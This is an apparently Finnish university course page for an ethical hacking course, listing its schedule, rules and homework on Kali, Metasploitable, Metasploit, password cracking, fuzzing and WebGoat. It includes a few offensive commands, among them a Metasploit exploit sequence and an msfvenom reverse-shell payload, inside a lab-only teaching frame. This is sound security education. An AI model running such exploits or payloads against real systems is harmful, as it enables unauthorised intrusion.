Tunkeutumistestaus
Penetration Testing course - 2024 late autumn

Learn to hack computers to protect your own. In the course, you will break into target computers.

Excellent feedback, reached 5.0 out of 5. Full five stars. Update: And latest instance just got 4.9/5 feedback, with 100% NPS.

Enroll 2024-05-15 w20 Wednesday at 08:00 in MyNet / Peppi.

Looking for the earlier Spring 2024 Tunkeutumistestaus?

Course name and codeTunkeutumistestaus ici001as3a-3003
Timing2024 period 2 late autumn, w43-w50.
Credits5 cr
ClassesFriday 08:15 - 13:45, Pasila pa5001, bring your laptop
Max students30
LanguageFinnish (+reading material in English)
RemoteNo, fully contact in Pasila classroom
Feedback5.0 / 5 Excellent feedback* Five star experience
ServicesMoodle: Tunkeutumistestaus, Laksu. Voluntary extra: Tero's list.
First class

* Best instance 5.0/5, every student gave feedback and every feedback was 5. Lowest 4.5/5 excellent, typical 4.9/5 excellent. Use of penetration testing techniques requires legal and ethical considerations. To safely use these tools, tactics and procedures, you might need to obtain contracts and permissions; and posses adequate technical skills. Check your local laws.

Teaching is in Finnish, so the rest of this page will be in Finnish.

Tunkeutumistestaus on eettisen hakkeroinnin kurssi. Opit, miten murtaudutaan tietokoneille, jotta voisit suojata omat ja toimeksiantajan järjestelmät. Nämä tekniikat, ohjelmat ja taktiikat ovat luvallisia vain tietyissä tilanteissa. Usein pitää hankkia lupia ja tehdä sopimuksia. Lisäksi näiden tekniikoiden turvalliseen käyttöön tarvitaan teknistä taitoa. Perehdy itse paikallisiin lakeihin.

Oppimistavoitteet

Opintojakson suoritettuaan opiskelija

  • Tuntee tunkeutumistestauksen prosessin pääpiirteissään
  • Tietää, että tunkeutumistestaukselle on lailliset ja eettiset rajat
  • Osaa kartoittaa kohdejärjestelmän haavoittuvuuksia
  • Osaa hyödyntää valmiita hyökkäyksiä (exploit) ja liittää niihin hyötykuorman käyttäen kurssille valittua työkalua
  • Osaa soveltaa tavallisimpia hyökkäyksiä weppisovelluksia vastaan, kun kohdeohjelmistot ovat helppoja ja haavoittuvia.
  • Osaa hankkia tunkeutumistestauksessa tarvittavia ohjelmistoja

Kurssilta ei saa mukaansa ilmaista pakettia nollapäivähaavoittuvuuksia, eikä kurssi anna mitään erityisoikeuksia eikä ammattinimikkeitä.

Aikataulu

Perjantaisin 08:15 - 13:45 Pasila pa5001. Aloitamme 08:15, vaikka joku vierailija tulisikin mukaan myöhemmin.

PäiväAihe
2024-10-25 w43Tunkeutumisen yleiskuva. Järjestäytyminen. Kybertappoketju.
2024-11-01 w44Aktiivinen tiedustelu. 09:00 Vierailija Riku Juurikko / Head of Preparedness, Elisa: Social Engineering (en). Porttiskannaus ja oheistekniikat. Valvonta snifferillä.
2024-11-08 w45Valmiiden hyökkäysten käyttö. Etähallinta. Reverse shell ja bind shell. Virtuaalisen laboratorion rakentaminen.
2024-11-15 w46Salasanojen murtaminen. Hashcat. Jumbo John. Käyttäjien salasanat. Tiedostojen salasanat. Sanakirjahyökkäys.
2024-11-22 w47Weppipalveluihin murtautuminen. IDOR, path traversal, SSRF. Välimiesproxyt, ZAP tai mitmproxy. Harjoitusympäristöt weppiin.
2024-11-29 w48Weppipalveluihin murtautuminen. SQLi. Keksit. CSRF. Oman TLS salatun liikenteen purkaminen.
2024-12-06 w49(Itsenäisyyspäivä, ei oppitunteja)
2024-12-13 w50Lipunryöstö, arvioitava laboratorioharjoitus.

Tämä on edistynyt kurssi, joten tuntien aiheisiin voi tulla muutoksia kurssin edetessä.

Kertausmateriaalia

Tämä materiaali on vapaaehtoista, jos osaat ne jo. Lähteet ovat esimerkkejä, voit osata/opetella nuo asiat mistä vain haluat. Esimerkiksi ohjelmoinnin alkeita harjoitella tai osata aivan millä vain kielellä (Python, C...). Jos kurssilla järjestetään alkutesti, kysymykset eivät rajoitu kertauspaketin materiaaliin.

Luettavaa ja linkkejä

€ Maksulliset aineistot saattavat näkyä ilmaiseksi Haaga-Helian tunnuksilla kirjaston kautta. Haaga-Helialla on käyttöoikeus O'Reilly Learning -kirjoihin (ent. Safari).

Työkaluja kurssille

L2 weppihyökkäyksiä - tukee läksyä h2

Yleiskuva, harjoitusmaaleja, web

Aktiivinen tiedustelu. HackTheBox.

Passwords, Learning to Learn tools

Web Fuzzing, Second to Last Words

Metasploit

Läksyt

Palauta linkki Laksuun 24 h ennen seuraavaa lukujärjestykseen merkittyä kurssivarausta. Tehtävät ovat pakollinen ja tärkeä osa kurssia.

Läksyt ovat virallisia vasta, kun ne on vahvistettu (yleensä oppitunnin päätteeksi). Tämä on edistynyt kurssi, joten ohjelmaan tulee yleensä muutoksia kurssin aikana. Osa tehtävistä edellyttää huolellisuuden lisäksi tietoja ja taitoja työkalujen käytöstä, jottei synny vahinkoja - tee vasta, kun tiedät oikeat työtavat.

Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa. Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.

Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raportti tulee kirjoittaa samalla, kun työskentelee.

Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.

Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.

h0 Sanoma haaviin

a) Sieppaa ja analysoi verkkoliikennettä. Tee raportista sivu weppiin. Palauta linkki Laksuun ja ristiinarvioi vähintään kaksi.

Vinkit

h1 Hacker's journey

Kill Chain #1: Recon. Porttiskannauksen lisäksi alamme rakentaa hakkerilabraa.

Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt. Koneet on eristettävä Internetistä hyökkäysten harjoittelun ajaksi.

  • x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
  • a) Asenna Kali virtuaalikoneeseen. (Jos asennuksessa ei ole mitään ongelmia tai olet asentanut jo aiemmin, tarkkaa raporttia tästä alakohdasta ei tarvita. Kerro silloin kuitenkin, mikä versio ja millä asennustavalla. Jos on ongelmia, niin tarkka ja toistettava raportti).
  • b) Irrota Kali-virtuaalikone verkosta. Todista testein, että kone ei saa yhteyttä Internetiin (esim. 'ping 8.8.8.8')
  • c) Porttiskannaa 1000 tavallisinta tcp-porttia omasta koneestasi (nmap -A localhost). Analysoi tulokset.
  • d) Asenna kaksi vapaavalintaista demonia ja skannaa uudelleen. Analysoi ja selitä erot.
  • e) Asenna Metasploitable 2 virtuaalikoneeseen
  • f) Tee koneiden välille virtuaaliverkko. Jos säätelet VirtualBoxista
    • Kali saa yhteyden Internettiin, mutta sen voi laittaa pois päältä
    • Kalin ja Metasploitablen välillä on host-only network, niin että porttiskannatessa ym. koneet on eristetty intenetistä, mutta ne saavat yhteyden toisiinsa
    • Vaihtoehtoisesti voit tehdä molempien koneiden asennuksen ja virtuaaliverkon vagrantilla. Silloin molemmat koneet samaan Vagrantfile:n.
  • g) Etsi Metasploitable porttiskannaamalla (nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.
  • h) Porttiskannaa Metasploitable huolellisesti ja kaikki portit (nmap -A -p-). Poimi 2-3 hyökkääjälle kiinnostavinta porttia. Analysoi ja selitä tulokset näiden porttien osalta.

Vinkkejä

  • Podcastien kuunteluun AntennaPod löytyy F-Droid:sta ja Google Play:sta. Tietysti podcasteja voi kuunnella sadoilla muillakin ohjelmilla.
  • Lue Valkamon artikkeli ennenkuin ryhdyt asentamaan virtuaalikoneita. Valkamo 2022: Hacking into a Target Using Metasploit: Metasploitable
  • Halutessasi voit käyttää myös muita virtualisointiympäristöjä kuin VirtualBoxia, esim Macilla UTM tai Linuxilla virt-manager (libvirt). Tämä edellyttää toki omaa soveltamista.
  • Virtuaalikoneiisin voi asentaa uusia verkkokortteja vain, kun ne ovat sammuksissa
  • Suosittelen Kaliin 4 GB muistia
  • OffSec Ltd 2023: Prebuilt Virtual Machines
  • Jokin tehtävä voi olla vaikea. Tee ja raportoi silloin kaikki mitä osaat. Listaa lähteet, joista hait ohjeita. Onko jotain vielä kokeiltavana? Mitä haasteita on vielä ratkaisun tiellä? Mitä virheimoituksia tai vastaavia tulee? Voit myös katsoa wepistä esimerkkiratkaisun - muista viitata lähteeseen ja merkitä, missä kohdassa katsoit ratkaisua. Ja katsotaan yhdessä tunnilla loput.
  • Muista laittaa lähdeviitteet.
  • O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.
  • VirtualBoxissa host-only-networking on kätevä. Voit laittaa Kaliin kaksi verkkokorttia, toinen NAT:lla Internetiin ja toinen host-only-network:n. Verkkoasetusten advanced-kohdasta voi vetää virtuaalisen verkkokaapelin irti ja kiinni, vaikka kone on päällä.
  • Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja 'ifconfig' tai 'ip addr'. Metasploitable 2:n kannattaa laittaa vain yksi "Host only networking" verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.
  • Kun olet irroittanut Internetin ja valmiina skannaamaan, varmista. Kokeile, että Google tai DuckDuckGo ei aukea selaimella, että et voi pingata esim 8.8.8.8. Kokeile, että maalikoneesi vastaa pingiin. Jos maalikoneella on weppipalvelin, kannattaa katsoa selaimella, että sieltä aukeaa olettamasi sivu.
  • Tietoja verkosta
    • ip a; ifconfig
    • ip route
    • ipcalc 10.0.0.1/24
    • ping 8.8.8.8
  • Ole huolellinen, irrota harjoituskoneet Internetistä skannausten ja hyökkäysten ajaksi. Mitään ulkopuolisia koneita ei saa skannata eikä mihinkään ulkopuolisiin koneisiin saa tunkeutua.

h2 Social sploit

  • x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
  • a) Harjoittelemme omassa virtuaaliverkossa, jossa on Kali ja Metaspoitable. Osoita testein, että 1) koneet eivät saa yhteyttä Internetiin 2) Koneet saavat yhteyden toisiinsa. (Koneiden ja verkon asentamista ei tarvitse raportoida uudestaan, paitsi jos siinä on ongelmia)
  • b) Ota Metasploit msfconsole käyttöön
  • c) Etsi Metasploitable porttiskannaamalla (db_nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.
  • d) Porttiskannaa Metasploitable perusteellisesti. Tallenna tulokset Metasploitin tietokantoihin (db_nmap) ja tiedostoihin (nmap -oA foo).
  • e) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla "hosts" ja "services". Kokeile suodattaa näitä listoja tai hakea niistä.
  • f) Vertaile nmap:n omaa tiedostoon tallennusta ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?
  • g) Murtaudu Metasploitablen vsftpd-palveluun
  • h) Päivitä äskeisen vsftpd-murron yhteydessä syntynyt sessio meterpretriin
  • i) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.
  • j) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).
  • k) Demonstroi Meterpretrin ominaisuuksia.
  • l) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt)
  • m) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?
  • n) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten Sliver
  • o) Vapaaehtoinen, vaikea: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: Install Metasploitable 3 – Vulnerable Target Computer

Vinkkejä

  • O'Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.
  • Murtautumiseen Metasploitable 2:n löytyy esimerkkiratkaisuja Metasploitable 2 Exploitability Guide. Tämä on läpikävelyohje, joten kannattaa yrittää ensin itse.

MsfConsole vinkit (ulkomuistista):

Tässä siis ulkomuistista, voit etsiä näistä lisätietoa ja oikean kirjoitusasun.

$ sudo msfdb init
$ sudo msfconsole
msf> db_nmap localhost

msf> services
msf> hosts
msf> 
msf> workspaces 
msf> sessions
msf> sessions --help
msf> 
msf> search vsftpd
msf> use 0
msf> setg RHOST 127.0.0.1	# huolellisesti, tähän hyökätään kohta
msf> 
msf> show options
msf> exploit
msf> 
msf> sessions 1

shell
ctrl-Z 

msf> session -u 1

h3 Nuuskija

Snifferillä voit valvoa hyökkäystyökalujen toimintaa. Näet, mitä työkalut oikeasti tekevät.

Etsit käyttämiesi hyökkäysten lähdekoodit ja analysoit niitä.

Kokeilet uusia harjoitusmaaleja.

Ja fuzzaat weppiä. Fuff on paitsi johtava weppifuzzeri, myös aito suomalainen tuote.

  • x) Lue ja tiivistä. Muutama ranskalainen viiva riittää.
  • a) Valitse valmis hyökkäys. Ota sellainen hyökkäys, jonka saat toimimaan omaan paikalliseen harjoitusmaaliin, kuten Metasploitableen. Demonstroi hyökkäyksen toiminta.
    • Normaali vaihtoehto: Ota hyökkäys Metasploitista (muu kuin vsftpd backdoor).
    • Helpotettu vaihtoehto: Tunnilla käyty vsftpd backdoor Metasploitista.
    • Vaikea vaihtoehto: Ota hyökkäys exploitdb:sta ('searchsploit').
  • b) Sorsa. Selitä ja arvioi valitsemasi hyökkäyksen toimintaa lähdekoodista.
  • c) Snif snif. Selitä ja arvioi valitsemasi hyökkäyksen toimintaa verkkosnifferillä. Pohdi myös, miten näkyvä tämä hyökkäys tai kontrollikanava on verkossa. (Vapaaehtoinen bonus: liitä mukaan pcap tekemästäsi nauhoituksesta).
  • d) Fuzzzz. Ratkaise dirfuz-1 artikkelista Karvinen 2023: Find Hidden Web Directories - Fuzz URLs with ffuf.
  • d) HTB. Ratkaise 1-2 konetta HackTheBoxisssa. Voit valita omaan taitotasoon sopivat koneet. "Starting point" ovat helppoja. "Labs" on vaikeampi, ja sieltä kannattaa valita helpoksi "Easy" merkitty kone. Nuo Easy:tkin ovat tarjoavat alussa haastetta, niistä riittää hyvin yksikin. Huomaa, että "Labs" ja "Starting point" ovat eri VPN-yhteyksien takana.
  • e) Vapaaehtoinen, helppo: Vaihda 'micro' Metasploitin oletuseditoriksi. Sille on oma 'setg' asetus.
  • f) Vapaaehtoinen: Asenna FuffMe-harjoitusmaali ja tee ratkaise sen harjoitukset. Karvinen 2023: Fuffme - Install Web Fuzzing Target on Debian
  • g) Vapaaehtoinen: Analysoi snifferillä, miten etäkäytön parannus (session -u 1) toimii vsftpd backdoor -hyökkäyksessä.
  • h) Vapaaehtoinen, vaikea: Etsi takaovi vsftpd:n lähdekoodista.

Vinkit

  • Käytä HackTheBoxia OpenVPN:llä. En suosittele käyttämään työpöydän kuvaa selaimella, se on r-a-s-i-t-t-a-v-a-a-a-a-a-a...
  • Ota HackTheBoxin säännöt talteen. Varmista erityisesti, että kaikkien harjoitusmaalien IP-osoitteet ovat hyväksytyllä alueella (scope).
  • Haluat varmaankin yhteyden vain HackTheBoxin maaliverkkoon, mutta ei oikeaan Internetiin. Tämä on yleensä onnistunut helpoimmin tarjottimen (tray) verkon asetuksista Linuxin graafisesta käyttöliittymästä.
  • Varmista, ettei hyökkäyksissä käytettyjä paketteja vuoda mihinkään oikeaan Internetiin. Kaikkien hyökkäysten tulee pysyä harjoitusverkoissa ja kohdistua vain sallituihin maalikoneisiin.
  • Verkossa on pcap-näytteitä harjoitteluun. Osa näytteistä voi sisältää toimivia haittaohjelmia. Joskus tämä lukee sivuilla, joskus haitalliset näytteet ovat zip-paketissa, jonka salasana on "infected".
  • Ota Wiresharkilla kaappaus virtuaalisesta testiverkosta Kalin ja Metasploitablen väliltä. Näin dataa on vähemmän, eikä sitä tarvitse siivota myöskään ruutukaappauksista.
  • Työnantajan tai koulun tuotantoverkkojen liikennettä ei saa julkaista; ei pcappeina eikä ruutukaappauksina.
  • Hyökkäyksen lähdekoodi Metasploitissa: search foo, use 1, edit. Voi myös etsiä tiedostojärjestelmästä, 'locate vsftp' tai 'dpkg --listfiles metasploit-framework|grep vsftp'.

h4 Marraskuu2024!

  • x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
  • a) Asenna Hashcat ja testaa sen toiminta murtamalla esimerkkisalasana.
  • c) Asenna John the Ripper ja testaa sen toiminta murtamalla jonkin esimerkkitiedoston salasana.
  • d) Fuffme. Asenna Ffufme harjoitusmaali paikallisesti omalle koneellesi. Ratkaise tehtävät (kaikki paitsi ei "Content Discovery - Pipes")
    • Basic Content Discovery
    • Content Discovery With Recursion
    • Content Discovery With File Extensions
    • No 404 Status
    • Param Mining
    • Rate Limited
    • Subdomains - Virtual Host Enumeration
  • e) Tiedosto. Tee itse tai etsi verkosta jokin salakirjoitettu tiedosto, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi).
  • f) Tiiviste. Tee itse tai etsi verkosta salasanan tiiviste, jonka saat auki. Murra sen salaus. (Jokin muu formaatti kuin aiemmissa alakohdissa kokeilemasi. Voit esim. tehdä käyttäjän Linuxiin ja murtaa sen salasanan.)
  • g) Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.
    • Haittaohjelma ei saa olla automaattisesti leviävä. Msfvenom tekee tunnilla opetelluilla asetuksilla ohjelman, joka avaa reverse shellin, kun sen ajaa, mutta joka ei leviä eikä tee muutenkaan mitään itsestään.
    • Raporttiin riittävät pelkät komennot haitakkeen tekemiseen, itse binääriä ei ole pakko laittaa verkkoon. Mikäli laitat binäärin verkkoon, pakkaa se salakirjoitettuun zip-pakettiin ja laita salasanaksi "infected". Latauslinkin yhteydessä on oltava selkeä varoitus siitä, että binääriä ei tule ajaa tuotantokoneilla. Salasanan voit halutessasi kertoa varoitusten yhteydessä.
    • Palvelimen päässä pitää olla reikä tulimuurissa. Reverse shell tarkoittaa, että palvelin on hyökkäyskoneella.
  • h) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee msfvenomilla ohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.

Vinkit

  • Irrota tarvittasessa koneet netistä testien ajaksi.

  • Metasploit msfconsole multi/handler

    • laita samat asetukset kuin msfvenom
    • muista 'set payload'
    • 'run -j' ajaa taustalla, sessiot ovat 'sessions'
    • prosessoriarkkitehtuuri kohteen mukaan
  • Esimerkkejä, joita pitää itse soveltaa

    $ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8080 -o infected

h5 Täysin Laillinen Sertifikaatti

Vinkit

  • Firefox ei enää ohjaa proxyyn liikennettä mihinkään 127-alkuiseen IP-osoitteeseen eikä localhostiin. Mutta Foxyproxyn avulla se onnistuu.
  • OWASP ZAP Download-sivun sopivin JAR on "Cross Platform Package", noin 250 MB.
  • Proxya voi testata vaikkapa Metasploitablen weppipalveluiden kanssa.
    • Älä tee hyökkäyksiä mihinkään muualle kuin harjoitusmaaleihin
  • ZAP TLS-yhteyksien avaamiseen CA-sertifikaatti löytyy Tools: Options: Network alta, hakusanaksi "Certificate".
    • Firefoxissa Settings ja hakusanaksi "Certificate"
  • ZAP:n tärkein toiminto: Requester tab.
    • Löytyy historiasta oikeaa nappia painamalla. Myös Ctrl-W.
    • Muokkaa hakupyyntöä ja lähetä. Vastaus näkyy vieresssä. Korjaa ja lähetä uudelleen.
  • ZAP hakupyynnön pysäytys
    • Vain, jos Requester eli saman pyynnön uudelleenlähetys ei toimi.
    • Puussa olevista osoitteista oikeaa nappia, menusta "Break..."
    • Tee pyyntö selaimella
    • Pyyntö näkyy ZAPissa oikealla ylhäällä "Break" välilehdellä.
    • Muokaa pyynnön tekstiä, lähetä eteenpäin yläreunan työkalupallin Play-symbolia klikkaamalla
  • ZAP kuvien sieppaus muistaakseni Options: Display: ...images.
  • PortSwiggerin tehtävissä voi käyttää välimiesproxyna ZAP:ia tai MitmProxya. Ei siis tarvitse ostaa noiden harjoitusten tekijän kuuluisaa ohjelmaa.
  • Pencoder - loistava ohjelma stringien muunteluun fuff:n tekijältä. Esim. URLEncode, base64...
    • Pencoder asennus ulkomuistista: hae Github-sivu "fuff pencode", Releases, pencode*linux_amd64.tar.gz, pura paketti, aja valmis binääri, kopioi se /usr/local/bin/.
  • Viittaa
    • Viittasithan kurssiin ja tehtäväsivuun?
    • Viittasithan kaikkiin käyttämiisi artikkeleihin?
    • Viittasithan muiden tehtäväraportteihin, jos käytit lähteenä?
    • Videoihin, man-sivuihin, ohjelmiin, StackOverflowhun...
    • Viittasithan kaikkiin muihinkin lähteisiin?
  • Hakkeroimaan oppii hakkeroimalla.

h6 Vuohi

Oma ympäristö omaan weppihakkerointiin.

Määräaika on 2024-12-04 w49 Wed 14:00, vaikka itsenäisyyspäivänä ei tietenkään ole opetusta.

  • x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
  • a) Asenna Webgoat 2023.4. (Nimenomaan tämä versio, koska tehtävien numerot ja tehtävät vaihtelevat versioittain.)
  • Ratkaise WebGoat 2023.4:
    • b) (A1) Broken Access Control (WebGoat 2023.4. Pitää olla nimenomaan tämä versio. Eri versioissa on eri tehtävät.)
      • Hijack a session (1) [vaikea]
      • Insecure Direct Object References (4) [vaikeita kohtia]
      • Missing Function Level Access Control (2) [Ei kohtaa 4 "The company fixed the problem, right?", se saattaa olla rikki]
    • c) (A7) Identity & Auth Failure (WebGoat 2023.4)
      • Authentication Bypasses (1)
      • Insecure Login (1)
    • d) (A10) Server-side Request Forgery (WebGoat 2023.4)
      • Server-Side Request Forgery (2)
    • e) Client side (WebGoat 2023.4)
      • Bypass front-end restrictions (2)
  • f) Editmenu. Lisää uusi oma komento micro:n palettero-lisäkkeellä käytettäväksi.
  • g) Vapaaehtoinen: Esittele Python-onelinereita 'py'-työkalulla. Muistaakseni paketista "pythonpy".
  • g) Vapaaehtoinen: Esittele Python requests -kirjastoa omilla ohjelmointiesimerkeillä.
  • h) Vapaaehtoinen: Asenna ja demonstroi Micron LSP -lisäosaa. Go-tuki lienee helpoin asentaa, Pythonia kysytään useimmin.
  • i) Vapaaehtoinen: Ratkaise lisää WegGoat-tehtäviä.
  • j) Vapaaehtoinen: Ratkaise lisää PortSwigger Labs -tehtäviä.

Vinkkejä

  • Olethan ristiinarvioinut kaksi työtä jokaista palauttamaasi kohti?
  • Olethan viitannut kurssiin ja kaikkiin muihinkin lähteisiin joka työssä?
  • Onhan läppärilläsi ympäristö, jossa on hauska tehdä lipunryöstöä viimeisellä tapaamiskerralla?
  • Ennen seuraavaa opetuskertaa tulee palauttaa h7, vaikka välissä ei ole lähiopetusta.
  • Muistithan ilmoittautua haluamillesi kursseille: Monialaprojekti infraan? Verkkoon tunkeutumiseen?

h7 Hakkeroimaan oppii hakkeroimalla

Hakkeroimaan oppii hakkeroimalla... ja lukemaan lukemalla.

  • x) Lue/katso ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva kustakin artikkelista. Kannattaa lisätä myös jokin oma ajatus, idea, huomio tai kysymys.)
    • Review. Etsi vapaavalintainen review eli katsausartikkeli, joka liittyy kurssin aiheisiin.
      • Artikkelin pitää olla JUFO-arvioidusta julkaisusta eli jufo-taso 1, 2 tai 3.
      • Mieluiten tuore, julkaisusta alle 2 vuotta.
      • Artikkeleita löytyy scholar.google.com
      • (Päivitys: Jos artikkeli on pitkä, yli 4 sivua, voit perustaa tiivistelmäsi silmäilyyn, kunhan mainitset tästä tiivistelmässäsi.)
  • a) Vapaaehtoinen: Tilaa Google Scholarlista omaan alaasi liittyvät artikkelit sähköpostiin. Jo otsikoista saa hyvän käsityksen artikkeleista. Kun olet saanut muutaman viestin, muista tiukentaa filtteriä - haluat vain viestit jotka haluat.
  • a) Vapaaehtoinen: Harjoittele itsellesi uusilla tehtävillä: PortSwigger Academy.
  • b) Vapaaehtoinen: Harjoittele itsellesi uusilla tehtävillä: OverTheWire: Bandit.
  • c) Vapaaehtoinen: Harjoittele itsellesi uusilla tehtävillä: WebGoat.

Vaihtoehtotehtävä kohtaan x) "Review" eli vertaisarvioidun artikkelin lukeminen. Suosittelen alkuperäisen vertaisarvioidun artikkelin lukemista x-kohdan mukaan. Jos lukeminen tuottaa erityisiä tai poikkeuksellisia haasteita, voit sen sijaan katsoa täyspitkän artikkeliin liittyvän esitelmän videon ja tiivistää sen. Esim. Youtubesta saattaa löytyä IEEE:n konfferensseja, kuten USENIX. Esitelmän tulee liittyä artikkeliin, joka on julkaistu jufo 1, 2 tai 3 -tason lehdessä. Artikkelin tavallinen lukeminen on silti suositeltavampi vaihtoehto kuin tämä helpotettu versio.

Huomaa myös vapaaehtoinen h8 bonus, jolla on sama määräaika.

Onnea lipunryöstöön!

h8 Bonus

Vapaaehtoinen bonus: luettele ja linkitä tähän tekemäsi

  • a) Vapaaehtoiset tehtävät
  • b) Ristiinarvioinnin jälkeen olennaisesti parannetut tehtävät
  • c) Kurssin ulkopuolella tekemäsi kiinnostavat hakkerointihaasteet, esimerkiksi
    • Projektit
    • HackTheBox korkatut koneet, mukaan ruutukaappaus pistesivustasi. (Ei non-retired boksien läpikävelyohjeita julkiseen weppiin)
    • Lipunryöstöt

Tehtävän määräaika on 24 h ennen viimeisen opetuskerran alkua. Tämä bonustehtävä on kokonaan vapaaehtoinen.